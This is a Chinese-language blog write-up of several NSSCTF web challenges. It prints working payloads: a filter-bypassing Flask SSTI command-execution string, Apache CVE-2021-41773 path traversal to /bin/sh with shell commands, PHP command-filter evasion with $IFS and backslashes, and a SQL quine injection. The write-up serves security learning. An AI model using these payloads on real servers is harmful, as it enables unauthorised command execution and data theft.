NSSCTF第九页(1)

 [安洵杯 2020]Normal SSTI

 看到了一个东西

NSSCTF第九页(1)_第1张图片

 访问之后NSSCTF第九页(1)_第2张图片

 进行简单的ssti注入发现被骂了......

NSSCTF第九页(1)_第3张图片

这里过滤了双大括号,只能用{%%} 

这道题的考点

  • 没有{{情况下如何构造回显

  • 如何绕过字符串过滤

  • 过滤器的熟悉程度

看大佬的wp才知道这道题怎么做

因为.和[]被过滤,所以使用flask的|attr来调用方法

推荐去看nssctf这道题里的,这位大佬的wp——v2ish1yan的WriteUp

再给大家推荐两篇flask过滤绕过的文章

Flask-CSDN博客

flask的SSTI注入 - 先知社区

‘’|attr(“__class__”)等于

‘’.__class__

如果要使用xxx.os(‘xxx’)类似的方法,可以使用

xxx|attr(“os”)(‘xxx’)

使用flask里的lipsum方法,来执行命令

flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。

payload原型

lipsum|attr("__globals__").get("os").popen("ls").read()

  • attr("__globals__") 是获取当前作用域的全局变量的方式;
  • get("os") 是尝试获取全局变量中名为 os 的值;
  • popen("ls") 是在 os 模块中执行 ls 命令的方式;
  • read() 是读取 ls 命令的输出结果。

 把_globals_,__getitem__还有命令进行编码即可。

{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22read%22)())%} 

NSSCTF第九页(1)_第4张图片

[极客大挑战 2020]welcome

进到题目发现是一片空白,我还以为我走错了

NSSCTF第九页(1)_第5张图片

先抓个包探探虚实,一堆东西没看到什么有用得,返回包有一个post,抓一下去访问

NSSCTF第九页(1)_第6张图片

 给的提示,访问一下phpinfo()页面

1.In addition to the GET request method, there is another common request method...
2.Learn something about sha1 and array.
3.Check phpinfo more carefully and you will find where the flag is.

post 随便传一个,发现出来了源码

NSSCTF第九页(1)_第7张图片

 就是一个sha1数组强比较,之前也做过,可以直接用数组绕过

发现进到了phpinfo网页,找flag

NSSCTF第九页(1)_第8张图片

硬是被玩成了代码审计一样,访问这个文件

NSSCTF第九页(1)_第9张图片

最后在消息头找到了flag

NSSCTF第九页(1)_第10张图片

[NSSRound#4 SWPU]ez_rce

进去是一个这样的界面

NSSCTF第九页(1)_第11张图片

没什么东西,抓个包看看,也是没什么东西,开扫

NSSCTF第九页(1)_第12张图片

什么也没扫出来

NSSCTF第九页(1)_第13张图片 看标签说是CVE-2021-41773

找了两篇博客供大家参考

https://www.cnblogs.com/wavesky/archive/2022/06/03/16339732.html

【安全漏洞】CVE-2021-41773和CVE-2021-42013漏洞分析 - 简书

NSSCTF第九页(1)_第14张图片

 漏洞产生原因

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e通过url解码之后是一个点(.)对于路径的url解码之后再来判断是否存在../。

如果路径中存在%2e./形式,就会检测到,因为遍历第一个字符是%紧跟2个字符是十六进制那么会被转换成点,这样会和后面的./就会连成../,这样就会被拦截。但是出现.%2e/这种形式时,在遍历到第一个.字符时,此时检测到后面的两个字符是%2,那么就构造不成../而是.%2,就不会把它当作路径穿越符处理,也就是说在检测是否有路径穿越符之后,%2e再解码变成了点,最终.%2e/解码成了../。因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

下边就根据这个漏洞来完成这道题

先抓包,并改成post形式

传参: /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

%2e.的url编码,所以这一段其实就是/cgi-bin/../../../../bin/sh 

 echo;id ——>echo;xxx(这里其实就是命令执行)

NSSCTF第九页(1)_第15张图片

 NSSCTF第九页(1)_第16张图片

cat一下发现没有

NSSCTF第九页(1)_第17张图片

 再看一下,发现是还有文件夹

NSSCTF第九页(1)_第18张图片

这里我们用grep来进行过滤来读flag 

 grep文本过滤_grep 过滤-CSDN博客


echo;grep -r "NSS" /flag_is_here   得到flag

NSSCTF第九页(1)_第19张图片 [MoeCTF 2021]babyRCE

代码审计,发现该过滤的都过滤了

NSSCTF第九页(1)_第20张图片

就是简单的过滤,有很多种方法,这里我只列举一种

 ls可以用l\s来绕过

cat可以用ca\t来绕过

flag可以用fl\ag来绕过

空格可以用$IFS来绕过

反斜杠称为转义字符,也就是说去掉”\”后面字符本来的含义,只做字符使用

先看根目录 ?rce=l\s$IFS/

NSSCTF第九页(1)_第21张图片

发现没有flag,大概率是在var/www/html里边

进去找一下,发现了flag.php

NSSCTF第九页(1)_第22张图片

?rce=c\at$IFS/var/www/html/fl\ag.php 

 得到flagNSSCTF第九页(1)_第23张图片

[NISACTF 2022]hardsql 

NSSCTF第九页(1)_第24张图片

 直接上万能语句发现

NSSCTF第九页(1)_第25张图片

在结合他的标签说是quine注入,并且过滤了空格 用/**/代替 

关于quine注入的详细介绍

SQL注入之Quine注入-CSDN博客 

Quine-[第五空间 2021]yet_another_mysql_injection-CSDN博客

解释:实质上就是返回的值和输入值相同,对于这种输出自己的源代码的程序有一个名称,Qunie

首先先了解一下replace()函数

replace(object,search,replace)

把object对象中出现的的search全部替换成replace,然后返回替换后的结果

object里面编码不会被替换

即:

REPLACE("REPLACE("B",char(66),"B")",char(66),"REPLACE("B",char(66),"B")")

 

进行注入:

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#

说是有防火墙

NSSCTF第九页(1)_第26张图片 

猜测是char被过滤

char 和chr等价

  chapt的解释:

“char” 和 “chr” 是在不同编程语言中表示字符类型或字符操作的关键字。

  1. 在 C/C++ 中,“char” 是表示字符类型的关键词,用于声明和定义字符变量或字符数组。它可以存储单个字符,范围通常是 0 到 255(或 -128 到 127,取决于有符号或无符号
  2. 在 Python 中,“chr” 是一个内置函数,用于将 Unicode 编码转换为对应的字符。它接受一个整数参数,返回对应的字符。例如,

虽然在不同编程语言中的关键词和函数名称可能不同,但它们的作用是相似的,都与字符操作相关。需要根据具体的编程语言来使用相应的关键词或函数。

 

也可以进行16进制转换

char(34) ---> 0x22

char(39) --> 0x27

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),chr(39)),chr(66),"B")#',chr(34),char(39)),chr(66),'"/**/union/**/select/**/replace(replace("B",chr(34),chr(39)),chr(66),"B")#')#

sql差的还是太多了,预计从11月份重新学一下

你可能感兴趣的:(1024程序员节)